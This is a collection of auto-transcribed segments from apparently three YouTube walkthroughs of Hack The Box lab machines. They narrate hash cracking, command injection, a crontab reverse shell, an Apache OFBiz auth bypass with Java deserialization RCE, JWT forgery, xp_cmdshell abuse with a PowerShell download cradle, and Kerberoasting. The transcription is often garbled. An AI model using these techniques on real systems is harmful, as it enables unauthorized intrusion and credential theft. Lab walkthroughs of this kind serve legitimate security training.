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There's root running this satellite um app.pycript which we don't know exactly what that is. And let's see is there anything else really? It doesn't look like it. This is just going back all into the system services. So let's look at running ports. So if we look we have SSH uh HTTP. They have a bunch listening on 127. ... | 2,380.56 | 0 | {
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that's the Python app and 3000 is going to be uh Graphfana. So, we want to find where any type of storage is. I'm going to go in opt and there's data. We look at op data. There is a graphana. DB. So if we do SQLite 3 graphana DB, uh, it's not installed. So we have to copy this over to our box. So let's do nvnmpp 90001 ... | 2,448.56 | 0 | {
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salt rand. So we have to build this um password hash. And let's see. I know I've done it before, but let's just do graphfana to hashcat to see if there's already a script. It looks like there is. So I'm doing a get clone. Download this does give usage. See hashes encode password. So it wants it in hashcat wants this fo... | 2,545.76 | 0 | {
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So, let's go back here and I guess password and then salt. I'm guessing rans and stuff we don't need. There's no hash table. Let's see. Select password salt from user. Okay. See is it username? Adjust name. I'll do Yeah, we'll do name. Email. That's better. | 2,598.64 | 0 | {
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Okay, we can grab this and then B do hashes. | 2,655.52 | 0 | {
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Get rid of the email and it wanted comma Python 3 Graphana hashes. There we go. And we should put the emails back. A dash O. Uh, we'll call this big bang. | 2,666.8 | 0 | {
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Graphana. See, the first one was admin and then GHubble. Admin G Hubble. Hopefully, it printed them out in the um correct order. We can copy this. Go back to the Kraken. Bashes big bang. | 2,705.24 | 0 | {
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Graphana. Paste hashcat opt word list rocku d- user. And let's see if we get any cracks. So it looks like it's testing. And there is one and its password is big bang. So let's go ahead and go back to our box. I can find out where I'm sshed in at. Um maybe we don't have an SSH connection. Oh, there it is. Cat Etsy pass ... | 2,733.4 | 0 | {
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and developer has a file called Android or a directory and there's an APK file. | 2,809.28 | 0 | {
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So let's download this APK file. So we'll do nlvnmpp 90001 satellite cat this to devtcp 1010148 90001. Okay. And then make the I'm going to call it apk 7zx. And let's extract the satellite. And then we have um few files. What I'm going to do is a GP and I'm going to grab for big bang.htb on every file and classes.ex ma... | 2,815.359 | 0 | {
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login. We post JSON data. And where are we writing? | 2,910.76 | 0 | {
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JSON. So that's once it logs in, it's running command. I was wondering if it would tell us what it writes. We may have to go look at an object or just hit 9090 um login and see what happens. So let's do that real quick. | 2,924.24 | 0 | {
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Um let's go back to here. And I'm going to hit squiggly C, but it's going to be the first thing I hit on a line. And that's going to open up this SSH prompt. And I can say um listen on 9090 forward it to 127001 9090. And what that's going to do is open this up. So if we curl local host 9990 doesn't exist. Um, we need a... | 2,943 | 0 | {
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and it's missing username or password. So, let's just do username developer and then password big bang. We're just trying the credentials we have and we get an access token. So, this I'm going to write this as login. So, let's see what we can do on this um app. See where we save that data to Big Bang here. | 3,031.76 | 0 | {
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Yep. So, let's take a look at the other files. So, I'm just going to go to this one. Let's see. So, this is hitting command. It's a post. we have to send um the token. So let's copy this. This will be command command and then it was what? | 3,069 | 0 | {
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Um, I'll do it lower authorization bearer take that invalid command. And I think this is case sensitive. We had a lowercase B here. Um, it errors out. But invalid command means we're successfully logged in, able to hit this endpoint. So let's see. Does this tell us how to use this command? Um, there it is. So we have a... | 3,103.88 | 0 | {
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APK of Android. I would go watch this video, intercepting Android app traffic with Purpuite where I walk through all of that, but it's a bit of a pain getting the environment stood up. Um, so I like just being able to uh decompile it and then look at it that way. If it was like using a library like flutter or something... | 3,150.28 | 0 | {
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could find one um that works right. So like if we did a line break here sleep one plus is a dangerous character. But we can see now that request took a second. So this is trivial command injection. But the easiest way to find this if you didn't want to just take a guess at functionality would be uploading the program P... | 3,221.92 | 0 | {
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download. Let's see. We have the dubdubdub server here. So let's do move downloads peace by and then over here let's do verte wget get http 10 10 10 148 8000 p by 64. Let's start the web server. | 3,273.8 | 0 | {
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chod plus x. Okay, so now psp is running. I'm going to give it a second so it can just um watch the file system. And then when I run this command, we can see it is running image tool get image and then devshm test. And because I see this bin sh- C, that means it's running the um full shell. If it did not have this, the... | 3,314.4 | 0 | {
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Let's do sh developer at bigbang.htb big bang python 3 import subprocess subprocess dot is it run who am I? | 3,369.2 | 0 | {
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So we can see there's no bin sh right it's just running who am I now if I add the shell is equal to true flag to this uh there we go we can see it has now been sh- C. So that's what the shell true is doing is it's wrapping who am I in a bash shell and that's what enabled the command injection. It's filtering for a lot ... | 3,392.48 | 0 | {
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4755 to make it set uid. And then run this. And now it's set UID. So if I just run this now, it should just switch me over to the root user do ID. And there we go. we are root. Now, if you wanted to um get this working without a shell, like manipulating the file system first as a user, you could probably use a dash lik... | 3,467.52 | 0 | {
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So, we could do a curl http 1010148 8000 slash um what's the file we have listening uh pace by 64 dash o verteap I'm just going to write p real quick make sure this works it looks like it did lsla vertemp It does write. So we could cat Etsy cron tab and we could just write something here. So what I'm going to do is cop... | 3,505.04 | 0 | {
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to etsy chron tab. Run that. Looks fine. | 3,609.96 | 0 | {
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NC LVMP 90001. Let's run date. Probably in 7 seconds hopefully we get a shell. As long as we did this cron tab correctly. | 3,623.599 | 0 | {
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That looks fine. And there we go. We got a shell. So that would be a way you could do it if um you didn't want to abuse the fact that you're a low priv shell already and make something set UID. You could just write a cron. That's the easy way to get it. Um, you may be able to do an SSH key as well, but I always like do... | 3,634.799 | 0 | {
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what's going on YouTube this is ipack I'm doing business from hack the box which centers around a piece of software called Apache off Biz that had two big cves against it recently the first is a authentication bypass and the second one is a remote code execution that involve Java DC realization there is a python script... | 0.199 | 0 | {
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out the hashing format yourself because the hashes are stored in a format that hashcat won't crack right away it's not that hard to figure it out so we're just going to jump in and do this box as always we're going to start off with an end map so- SCC for default scripts SV enumerator versions dvv for double verose thi... | 44.8 | 0 | {
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running engine X and it's redirecting us over to business. htb so let's go take a look at this or add this to our host file should say so pseudo VY host and we can add 10 10 11 252 business htb and then the final Port is 443 that is engine X and looking at this let's see HTTP header SSL um don't see anything too intere... | 93.84 | 0 | {
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htb let's accept this SSL certificate and we get the page business um Incorporated so let's just go take a look it looks like it's a single page thing looking at the site icon this is bootstrap so uh probably a static website looking here we have a contact form I'm going to um just put in junk here to see if we can sen... | 129.879 | 0 | {
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going to take a look at the um cookies of this page so burp Suite is set to intercept we can go here let's go send this look at all the headers and we can see I do have a j session ID cookie if I got rid of that we can see the page is explicitly setting this and whenever I see this I always try checking out like um man... | 189.879 | 0 | {
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more about that go there but business is not vable to it so we got to think about what else we can do here um I'm going to do a gobster so let's do gobster directory mode dasu HTTP oh it's htps business. htb and then- K is going to allow it to follow the or accept the invalid sslt and then the word list up sect list Di... | 248.879 | 0 | {
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what an invalid page is so I'm going to switch over to fuff because fuff is easier to filter on invalid things so we do fuff - U for URL htps B business. htb do then do fuzz sl-k again to accept the invalid SSL s-w op oh we can probably just do that there we go and if we hit enter follow redirects is set to false by de... | 318.36 | 0 | {
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eBay and then we can turn buru off because we don't need it right now I don't know why the icon's not changing oh there we go red redirecting us to eBay control main it is a log impr prompt and we have off Biz so I'm going to Google like off Biz default credentials and see if we can find any real quick um tenable let's... | 390.16 | 0 | {
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Google we do get an exploit script and we're going to actually not use the python script we're going to step through it because I think you learn a lot more that way um it's going to be two explo I forget which one is which one is just a authentication bypass the other one is rce if we look at this CV 2023 for 9070 uh ... | 468.28 | 0 | {
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of requir password change due to the username and password being empty and require password change setting to Y so if we look at this actually before we go over the code let's just look at the exploit real quick so we can see um the result of it and then we'll look at the code because I think that would make it easier ... | 543.2 | 0 | {
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this to no it gives us the page right so if required password change is set to Y then Badness happens I wonder if we need that semicolon we don't even need that semicolon there maybe that's like I don't know why they have that but you don't need it you don't need that slash probably either so this is weird Behavior so ... | 601.959 | 0 | {
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set it keeps going down I think this is like getting the tenant go down here and then we're going to start doing the user login right so the whole bug here is essentially right here it's checking hey do they require a password change yes they do let's now return true and since it returns true when we're hitting this en... | 665.24 | 0 | {
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serial just on my main machine because I always seem to run into like Java issues instead of setting my Java environment correctly I like just running it in Docker right and all this python script is going to do let's see we go here where is it it like runs the Y so serial jar file and since I'm running it in Docker it... | 725.72 | 0 | {
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that's got so out of date now and that's the same like being out of date is why I don't just download the release here because if we do you can notice that's built like two years ago but the last commit is two months ago so you get a wildely out ofd version if you just go off the jar now there is a separate Yer serial ... | 787.399 | 0 | {
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um essentially all the fancy redirectors don't work so we can't just stand like get a standard reverse shell in order to get a reverse shell we have to like not use spaces because space is a bad character in the main version of yo serial and that's why I normally don't bother using it however let's try this so we can s... | 841.24 | 0 | {
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waiting on it oh running May and verify so while we wait for that let us now I guess start getting our payload working where is the exploit right here so since we want to do rce we have to now hit the XML RPC interface so let's um let's see this will be called off bypass we'll do rce so we'll paste this so now we're hi... | 920.32 | 0 | {
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this all done without any Cuts but doesn't look like I can okay now it is built we can do a doo run y so serial and then we get the output so it wanted us to run what was it like common collections Bean one let's do y so serial yes we do common collections being one and then the arguments so we can do that and then I'm... | 1,002.319 | 0 | {
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DN so we don't do DNS d i ton zero and we also have to specify icmp I'll clear my screen before you do this and when I run this hopefully I get one ping I do we can see 1010 252 reached out to me and I sent a response back so now we know we have a valid payload so what we want to do is put the second one in so let's co... | 1,086 | 0 | {
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credentials and if we go to like config let's go config uh is it maybe it's not config let's see because I don't think it would be like check style right uh we can C it don't think yeah that's not it let's see where would the database be lib plugins runtime is it time config or something applications not exactly sure l... | 1,170.72 | 0 | {
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default database you can see what the default database is because if we looked at like SSL ntp grap 33 we don't see like MySQL I forget postgress is Port um but Google says by default it uses a embedded Java database called Derby so if I do a find do- name Derby we can find the Derby database is in runtime data Derby a... | 1,298.24 | 0 | {
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TCP 101014 8 991 man that's ugly because I didn't like change my line wrapping how it just wrapped to the beginning but oh well it is now copying um let's see connect to Derby database it's going to be like jdbc colon Something connecting let's see Java i j okay so we can set the protocol then connect okay let's do AAR... | 1,376.32 | 0 | {
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off is okay I think we're connected there if I do show tables awesome so we probably want to go to the user login table so if I do a select star from user login uh it does not exist select star from the database name is off Biz user login and it looks like we got a bunch of data so let's do a describe first because we ... | 1,499.159 | 0 | {
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and then the hash and this doesn't really match any type of Shaw suum right because if I do an eo-n uh wc- C we just have 27 characters however this does look like it is base 64 URL encoded so what I'm going to try doing is decoding this and I don't think think the regular base 64- D is going to work here we could try ... | 1,597.559 | 0 | {
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input again this is just padding um a lot of languages just like killing the padding of Bas 64 I don't understand why but we have it um decoding the B 64 if I pipe it over to xxd uh let's do A- P so we get everything just on one line then we can do a wc- c and 41 this is going to be 40 characters in a line break and if... | 1,684.519 | 0 | {
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less is it sha one so either M 110 and that's going to be the past then the salt or 120 and the format is salt colon hash and if we did 110 are those really the same thing just no so not salt colon hash this is going to be the hash coal the salt is how we do it so 110 or 120 um Mo 110 or 120 that's the thing we don't k... | 1,772.24 | 0 | {
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that's when I would go into the source code and try to figure out um what we did wrong so it's going to run it does not take long since it's just a standard sha one we did not recover any so let's do 120 and see what we have and right away we got one hit if we go up we see the salt was just D and the password is monkey... | 1,876.24 | 0 | {
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what's going on YouTube this is IP we doing blazer rized from hack the box which the F hold involves exploiting a website coded in Blazer which is a weird. net web assembly thing if you're new to web assembly it's hard to wrap your head around this because typically browsers use HTML and JavaScript to display websites ... | 0.359 | 0 | {
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decompile the entire thing so this makes it U much more difficult to understand the logic if we try to use the JWT to authenticate by placing it in the authorization header um it just doesn't work but if we examine the web request between the client and server we can see the server is instructing the client to retrieve... | 43.719 | 0 | {
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said let's jump in as always we're going to start off with an end map so- SCC for default scripts SV numerate versions dvv for double REO this gives us things like the TTL OA output all formats between the end map directory and call it blazered then the IP address of 10101 11.22 this can take some time to run so I've a... | 89.439 | 0 | {
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htb so I'm going to go ahead and add this to my host file so do Pudo VC host and then we can add 10 10 1122 Blazer eyes. HTP save that and let's take a look at what else we have so we have HTTP on Port 80 and that's Microsoft I and it's redirecting us over to Blazer eyes. htb so we already added this to the host file w... | 125.479 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
seconds off from the machine so again not interesting there it is giving us the host name dc1 so we could potentially add this to our host file if we wanted to we could also confirm the host name with something like net exac so net exac SMB 1010 1122 and this will connect to SMB and tell us the host name of the box whi... | 179.04 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
playground and see what's going on here if I type it's instantly going down on this rendered markdown um so let's see test that's a title so what I want to do real quick is open up the um I guess developer tools or whatever uh we do see it loading a lot of dlls but the main reason I want to do this is see if there's an... | 231.64 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
htb that fails so let's go ahead and add this to our host file so we can add API and all that oh man um dc1 blazered htb and then API blazered HTTP there we go save it refresh this page and let's see do we now get any content so it looks like we do and here we can intercept and since we're sending data to the server th... | 292.84 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
not Val uh this is not a valid for guid property so it looks like they have some type of um schema enforcement I forget the exact terminology but if we send invalid characters that it's not expecting um it's just going to reject us because it doesn't pass whatever checks it's doing so I'm not going to really look at SQ... | 370.039 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
URL there we go still not a valid property so again because it's doing that strict enforcement on the parameter we know um we can't really get any type of SQL injection working there so we didn't click on check updates so looking here we can read this because it's in the alpha release only super admin can request all p... | 425.599 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
to loads this blazered helpers dll and no other page loads this if we looked at the network Tab and looked it just would not be loaded so this is definitely an interesting page and it's loading this dll most likely because it's impersonating the user right so this is where I wanted to really look at exactly what was go... | 482.479 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
looks like it is probably 1 minute in the future today is November 7th and this expires 12:55 looking at the clock 12:54 so the tickets not long um the tokens um doesn't have that long of a lifetime then we can see the issuer and audience so we need to get the signing key so we can potentially manipulate this token rig... | 540.079 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
analyze all of these but if we did that in this video it would be hours long so um this is the one that really stands out to me just because again um it only loads on this page so let's curl it uh we can call it lasered helpers dodl and the other thing I would be doing um oh I mixed up the arguments there we go the oth... | 593.399 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
this fuzz. dll and then get a word list that um has a bunch of titles and see if I can find any other DLS that exist in this directory that just aren't being loaded because maybe there's a dll that's not exposed that is helpful to us right so that is one thing I'd be doing but it doesn't lead anywhere so I'm not going ... | 655.88 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
actually be able to work on Linux which is pretty cool so no longer have to switch um VMS so I've already downloaded iOS spy I will just go and execute it and then we will open this dll and then we'll be able to see what it contains so let's go um htb blazered oh it does not like that that's annoying normally you can j... | 711.56 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
at JWT we have the expiration which is 60 seconds we have this um symmetric security key and this is actually the signing key if we go back to JWT .io and then we paste the signature in we can see it says signature verified and it didn't change any of this so we know we now have the signing key for um the jwbt now the ... | 769.12 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
it there we go save that so we added that to our host file so now we can request a page on HTTP admin blazered HTTP and it's going to attempt to authorize us and then we get this signin page so if we look at the functions for JWT we have this generate temporary and it's going to give us the claim the email which is the... | 833.759 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
expirations um or look at what the default is here looks like it's 60 seconds so I'd have like a python application changing my expiration to only be a minute ahead of time but since we don't really care about getting caught we can leave those two claims in and I'm also going to change this to be an eight here so we ch... | 899.56 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
repeater grab this let's just paste it and this is a bad JWT we have so replace that with our admin one paste this then we can copy it and then forward and it'll be a big pain because it's going to download like every dll again and you don't want to have to do this for every request because there's like hundreds of the... | 956.839 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
sign in it doesn't look like it works so that's not how this application appears to be authenticating or maybe it has a different secret I don't know exactly what's going on here yet so let's go and try to intercept or view what is happening here um we could look at htdp history but this is going to be where I talking ... | 1,025.439 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
to right click we can add to scope yes and what is my scope now Target add add add okay so we have all the domains added to scope and then if we look at the proxy tab it should be highlighting the blazered traffic but it's not um let's refresh maybe only works on new request there we go so anything time like this plugi... | 1,089.039 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
then I do CSS and images by click apply now we have some more request here so let's look around to see what we have and the main thing I'm looking for is what the server instructs us to do um right here we have it going to local storage has property is dark mode again it may be hard to read unless you send it to the bt... | 1,158.679 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
read this way and we have one it's going to local storage get item JWT so it looks like the JWT is stored in local storage not the header of request right so what I'm going to do is um go to my local storage so do F12 again storage local storage we're going to create a item we'll call it JWT and I'm got to give the val... | 1,218.76 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
do if we click on manage post um we have a few buttons we can edit and if we try to edit it says it can't update um it's not implemented can't delete either because it's just read only we go to duplicate post titles let's see currently Blazer eyes allows duplicate post titles therefore you can use the form below I'm gu... | 1,293.32 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
burp I'm trying to let burp calm down I think whenever I move the mouse it sends request which is annoying I'm going to check go back here and then we want to look for where I sent it please subscribe uh let's see maybe that's telling us what to do get see post here is this where I say please I think this is Mouse Movi... | 1,355.159 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
handy and long story short I can't really make sense of it maybe it'll make sense when I'm doing the video and something will pop out there we go we said please subscribe again here and then we get this shorter batch so before the response it had a lot it told us to pop up a div or something but here it's just like say... | 1,418.64 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
back so my first thing is a ping on myself let's see if we can if this doesn't work then I try something like um enabling XP CMD shell I bet if you go like hack tricks and Google it or ip. RS you'll find out how to enable it um I'm assuming it's already enabled but we'll see we'll do pseudo TCP dump ton zero icmp check... | 1,483.6 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
potentially steal a ntlm hash and then try to crack it so we do pseudo um do I have it installed let's see responder responder let's see - i t z awesome let's go back here check post I want to say it's like XP dir tree to list directories right and we could do 10 10 148 and then we'll say share does not exist the key t... | 1,544.96 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
then I'm going to run a PO shell command so let's set up our um interface so make dubdub dub I'm going to copy user share um I forget what it is let's see I think it's law num CP user share law num nope that's not it let's see I can't believe I'm forgetting the location of this reverse TCP user share grab PS1 Nang wow ... | 1,614.48 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
the shell and then doesn't give us the shell we know um most likely antivirus blocked it so that's why I'm going to create this web cradle so I can do new object net. | 1,717.799 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
webclient download string HTTP 101048 8000 rev PS1 there we go so I convert uh let's cat traal convert it to UTF 16 little Indian there we go Bas 64 w0 so now we have this string let's start up a web server so we'll do Python 3 HTTP server or LP and see lvmp 901 go back to the website and we can run Powershell DC for e... | 1,728.96 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
is on Windows it's probably gonna be like inet Pub dubdub dub root and then let's see we probably want the admin so let's go to digital Garden admin because this one that was definitely talking to the database uh there's web.config so if we look at this um it doesn't look like there's anything interesting there if we s... | 1,799.36 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
because we don't have any user credential right so if we use the executable it can actually run in the context of our local user kind of like how that application's talking to the database and that becomes very handy for us so let's go and dub dubdub move downloads sharp pound here unzip it and then we want this execut... | 1,855 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
great so now we have the file um we don't have right access into I I'm not going to show that because it's just a waste of time uh we could like stand up an SMB server and copy it back but um that becomes kind of a pain because we have to give ourselves a credential because Anonymous SMB is disabled on a lot of windows... | 1,920.32 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
there we go I just didn't want 9,1 because that's where my shell is right I'm going to say the location is going to be root is ver dubdub duub upload and then we're going to enable the DAV methods of put and then we will close this out I think that's all I need so we'll do pseudo make dubdub duub uploads pseudo chod I'... | 1,980.2 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
here restart and still failing I'm going to remove the default okay that works so something probably was just airing in my default config I'm guessing it's probably listening on a port that um I was already listening on let's see what do default look like server 80 SS lntp GP on 80 um ton zero something is listening on... | 2,076.119 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
doz and we want to say the method is put and the in file is going to be C colon program data and then what is the file name right here there we go your eye there hit enter and then if we go to this dubdub duub uploads directory we actually do not have it method p in file pseudo chod 777 for dubdub uploads restart run t... | 2,160.56 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
stop it um let's do stop engine next because I don't want to leave this web server running um I don't think it'll actually cause any problems it's just an upload on this directory no like I don't think it could cause problems but always good to to say a a service when you're done with it so now that we have The Blood H... | 2,290.8 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
probably going to pause the video and we'll come back when it's up if I do Local Host quad 8 um fail to connect so we got to wait for the container to come up okay I think everything is started so if we refresh we're going to get this error message and we see authentication is invalid and this is because of something w... | 2,347.76 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
my missed video I have it um merked on where I start running Blood Hound so you can just follow those steps to get it all set up but once you get logged in um we should be able to upload data so let's go to the data collection page uh that wasn't where I wanted to click let's just do settings administration file inest ... | 2,405.24 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
think the issue is we go back to ver dubdub duub uploads we actually don't have read access to b.z so let's give ourselves that so we'll do sudo chod 777 BH zip okay so now we can read this file and let's try uploading it again so we go to uploads upload it says Ready done like that went much quicker that is what I was... | 2,471.44 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
there we go it is now complete and we should start having data so let's look at what user we were uh who am I we are Nu 1055 so let's search on this user we're going to Mark us as owned and then I always like looking at outbound object control because this shows us what this user can do and if we look at it we can writ... | 2,532.24 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
GitHub and whenever I use power viiew I like um getting the development uh Branch so we're going to copy that let's go back to our web server get clone dbd I should probably just put this in SL opt or something but it's fine here so we want to go in power exploit Recon and power viiew PS1 so we're going to go with new ... | 2,611.079 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
could also get domain object then identity um the user was 4810 and this is going to list all the uh permissions we can select what is it service principal name and we don't have anything so let's do a set domain object because this user supposedly can create one right so we do ident and then set the server principal n... | 2,701.839 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
so let's copy this and this is going to be a pain to grab probably see let's just exit that let's call this um RSA 4810 dot hash I guess paste and let's see let's get rid of all spaces and I think we have to put this all on one line for hashcat to like it let's see um I'll copy this over to the Kraken what do I want to... | 2,796.839 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
hopefully it detects it if not I think there is a option to change the output format but no it looks like it did um what I was going to say in the actual invoke curb Rose command there's a output format it can specify hashcat there potentially but it looks like hashcat now detects it and if we look it cracked the passw... | 2,903.359 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
iall whoops SL all there we can see what groups we're part of and whatnot but there isn't really much information here additionally if we looked at blood hound and we look at what permissions we have so we go what we did before there is no outbound object control and this next piece is relatively hard to find um becaus... | 2,978.96 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
and then the user so we'll do RSA what was it 4810 like that and this will show us interesting domain ACLS that this user um can do and the reason why I normally don't run um this command like this is as you can see it takes 20 seconds for the command to run and you only get one result right um what I like doing is jus... | 3,041.2 | 0 | {
"video_id": "Dmc5pnNwvO8",
"title": "HackTheBox - Blazorized",
"url": "https://www.youtube.com/watch?v=Dmc5pnNwvO8"
} |
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